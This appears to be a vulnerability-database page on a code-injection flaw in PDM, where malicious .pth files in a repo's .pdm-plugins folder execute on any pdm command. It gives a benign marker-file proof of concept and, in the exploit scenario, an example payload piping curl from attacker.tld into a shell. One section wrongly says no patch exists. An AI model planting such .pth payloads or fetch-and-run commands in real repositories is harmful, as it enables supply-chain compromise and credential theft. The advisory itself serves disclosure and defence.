Skip to main content

PDM CVE-2026-47781

| EUVDEUVD-2026-52867 HIGH
Code Injection (CWE-94)
2026-06-11 https://github.com/pdm-project/pdm GHSA-qq6c-99pv-prvf PYSEC-2026-2863
8.4
CVSS 4.0 · Vendor: https://github.com/pdm-project/pdm
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker publishes malicious repo with `.pdm-plugins/.../evil.pth`
  2. Delivery
    Victim clones repository in dev or CI
  3. Exploit
    Victim runs any `pdm` command (e.g. `pdm --version`)
  4. Execution
    `Core.__init__` calls `site.addsitedir('.pdm-plugins/...')`
  5. Persist
    CPython processes `.pth` and executes `import` payload
  6. Impact
    Arbitrary code runs as invoking user, enabling credential theft or persistence

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) the victim to invoke any pdm subcommand - including read-only ones like pdm --version - with the current working directory inside an attacker-controlled repository checkout, (2) the repository to contain a .pdm-plugins/ directory with a crafted .pth file located under the platform's purelib path (resolved via sysconfig.get_path('purelib')), and (3) PDM version <= 2.26.9 running on CPython, which implements the .pth auto-execution behavior in site.addsitedir(). Limiting factors: code runs only with the invoking user's privileges (no privilege escalation primitive on its own, unless pdm is invoked under sudo, a root-owned CI job, or a privileged service account); the victim must take an explicit action (UI:A) of running pdm inside the malicious checkout - drive-by exploitation via merely cloning is not sufficient; pdm install --plugins is NOT required as a trigger.

Impact

The vendor-assigned CVSS 4.0 score is 8.4 (High) with vector AV:L/AC:L/PR:N/UI:A and full VC/VI/VA:H, which accurately reflects local-but-trivial arbitrary code execution requiring only that the victim run any pdm command in a malicious checkout. NVD has not yet published a CVSS 3.1 score, EPSS is unavailable, and CISA KEV does not list this CVE - so no public exploit identified at time of analysis as actively exploited, but the advisory PoC is fully published and weaponization is trivial (a one-line .pth file). Real-world risk is highest in CI runners, devcontainers, and developer workstations that auto-execute pdm against untrusted forks or branches; in those contexts the UI:A requirement is effectively automated away by pipeline triggers. Risk is meaningfully lower for users who never run pdm against external repositories, but the bar for accidental exposure (a single pdm --version after git clone) is low enough that this should be treated as a high-priority supply-chain hygiene issue rather than a routine local DoS-class bug.

Exploit ScenarioDerived

An attacker publishes or contributes to a Git repository containing a .pdm-plugins/<purelib>/evil.pth file whose single line is import os; os.system('curl attacker.tld/x | sh'). A developer clones the repo and runs any pdm command - even pdm --version - to check the project, at which point the .pth is processed by site.addsitedir() and the payload executes as the developer's user; in a CI runner using pdm, the same payload runs under the build account with access to repo secrets. The advisory ships a working PoC, so weaponization effort is essentially zero.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 11, 2026

Local arbitrary code execution in PDM (Python Development Master) versions <= 2.26.9 allows attacker-controlled repositories to execute Python code under the invoking user's privileges when any pdm command (even pdm --version) is run inside a malicious checkout. The root cause is implicit loading of project-local .pdm-plugins via site.addsitedir(), which processes .pth files containing executable import statements before CLI parsing. Publicly available exploit code exists in the advisory PoC, and CWE-94 code injection is confirmed; no public exploit identified at time of analysis as actively used in the wild.

RemediationAI

Vendor-released patch: PDM 2.27.0 - upgrade immediately via pip install -U pdm or your distribution's package manager; the release moves project plugin installations out of the in-tree .pdm-plugins directory into an isolated cache and ships a fixer to migrate existing plugin directories (https://github.com/pdm-project/pdm/releases/tag/2.27.0). Where an immediate upgrade is not possible, compensating controls include: never running pdm (even pdm --version) inside a freshly cloned untrusted repository before inspecting it for a .pdm-plugins/ directory and removing it (trade-off: requires discipline and breaks automation that runs pdm early in CI); in CI, add a pipeline step that deletes .pdm-plugins before any pdm invocation (trade-off: legitimate project plugins will be wiped); or pin PDM behind a wrapper that refuses to run when .pdm-plugins is present in the working tree (trade-off: requires custom tooling). Note that Python 3.10 is now the minimum required interpreter in 2.27.0, which may force a coupled runtime upgrade.

Affected VersionsENISA

pdm < 2.27.0

Affected Packages

pypi pdm fix: 2.27.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PDM is a modern Python package and dependency manager that competes with Poetry and Hatch. The vulnerability sits in src/pdm/core.py where Core.__init__() calls load_plugins(), which in turn invokes _add_project_plugins_library() to append the project-local .pdm-plugins directory to sys.path using CPython's site.addsitedir(). By design, site.addsitedir() parses every .pth file in the directory and immediately executes any line beginning with import , a long-documented CPython feature intended for trusted site-packages directories. Treating an untrusted, repository-controlled directory as a site directory collapses the trust boundary between project data and interpreter execution, which is the CWE-94 (Improper Control of Generation of Code / Code Injection) class issue. The affected CPE is pkg:pip/pdm up to and including 2.26.9.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/pdm-project/pdm) PRIMARY 8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.8 HIGH

Local attack vector via repository contents, low complexity (one-line .pth), no attacker privileges needed, but victim must run pdm in the malicious checkout (UI:R); full CIA impact as invoking user.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/pdm-project/pdm).

CVSS VectorVendor: https://github.com/pdm-project/pdm

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Aug 04, 2026 - 19:22 NVD
8.4 (HIGH)

DescriptionCVE.org

Summary

PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.

This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.

Affected Behavior

  • Trigger does not require pdm install --plugins
  • A low-impact command such as pdm --version is sufficient
  • Impact is strongest in CI, privileged shells, and automation contexts

Affected Code

  • src/pdm/core.py:74-82
  • src/pdm/core.py:310-333
  • src/pdm/core.py:335-352

Technical Details

Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().

On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.

Impact

  • Arbitrary code execution as the invoking user
  • Potential credential theft, persistence, or workspace tampering
  • Potential privilege escalation when pdm is run via sudo, root-owned CI jobs, or privileged service accounts

Reproduction

PoC:

bash
# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"

Expected result:

  • A temporary project is created
  • An evil.pth file is placed under .pdm-plugins
  • Running pdm --version creates a marker file before CLI exit

Observed output from local validation:

text
PDM, version 2.26.9

--- marker ---
project plugin autoload executed

Severity

High

CVSS v4.0

  • Base score: 8.4 (High)
  • Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale:

  • AV:L: exploitation occurs through local execution of pdm against attacker-controlled repository content
  • AC:L: no special bypass or race is required
  • AT:N: no external precondition beyond the vulnerable workflow is required
  • PR:N: the attacker does not need privileges on the victim host
  • UI:A: the victim must actively run a pdm command in the malicious checkout
  • VC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking user
  • SC:N/SI:N/SA:N: the score is kept to same-system impact only

Root Cause

Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().

Recommended Remediation

  • Do not auto-load project-local .pdm-plugins by default
  • Avoid site.addsitedir() for project-controlled plugin paths
  • If project plugins must be supported, require explicit opt-in such as --enable-project-plugins
  • Explicitly prevent .pth execution when loading project plugin paths

Disclosure Notes

This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.

Executive ViewAI

Why It Matters

PDM (Python Development Master) versions 2.26.9 and earlier contain a local code execution vulnerability where publicly available exploit code exists. Development teams using affected PDM versions face risk of inadvertently executing attacker-controlled code when running PDM commands in compromised repositories, potentially enabling supply chain attacks and unauthorized access to development environments under developer privileges.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict PDM command execution to company-controlled and verified repositories only; (2) Require security code review of all .pdm-plugins files before running PDM in new environments; (3) Operate PDM with minimal required user privileges and within isolated virtual Python environments; (4) Disable implicit plugin loading where feasible through configuration; (5) Establish monitoring alerts for new PDM security releases and enforce timely updates once available.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

62
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy